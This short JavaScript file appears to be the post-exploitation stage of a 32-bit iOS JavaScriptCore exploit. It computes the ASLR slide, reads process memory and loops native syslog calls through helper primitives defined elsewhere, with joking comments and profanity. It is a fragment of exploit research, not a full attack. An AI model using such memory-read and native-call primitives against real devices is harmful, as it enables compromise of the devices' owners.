1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
|
/*
* november 24th 2021
* [3:16 PM] spv: spice confuses the shit out of me, so i'm prolly not smart enough to implement it anyway
*
* ohai
*/
var MAX_SLIDE = 0x3;
var MIN_SLIDE = 0x1;
try {
log("we out here in jsc");
} catch (e) {
/*
* we don't have log. :(
*/
log = function (){};
}
function main() {
/*
* get slide and calculate slid base
* remember, 32-bit *OS defaults to 0x4000 for the unslid base for exec's
*
* so, take the slide, shift it by 12 bits (aslr is calc'd by taking a
* random byte and shifting it 12 bits, in this case the page size, 4096
* (0x1000) bytes), and add it to the unslid base.
*/
slide = get_our_slide();
base = 0x4000 + (slide << 12);
slid = (slide << 12);
init_sptr_heap();
puts("we out here");
puts("I came through a portal holding a 40 and a blunt. Do you really wanna test me right now?");
printf("slide=0x%x\n", slide);
printf("*(uint8_t*)base = 0x%x\n", read_u8(base));
printf("*(uint16_t*)base = 0x%x\n", read_u16(base));
printf("*(uint32_t*)base = 0x%x\n", read_u32(base));
var i = 0;
while (true) {
calls4arg("syslog", 0x28, sptr("get rekt from jsc %d (slide=%x)\n"), i, slide);
calls4arg("sleep", 1, 0, 0, 0);
i++;
}
log("still alive");
};
|
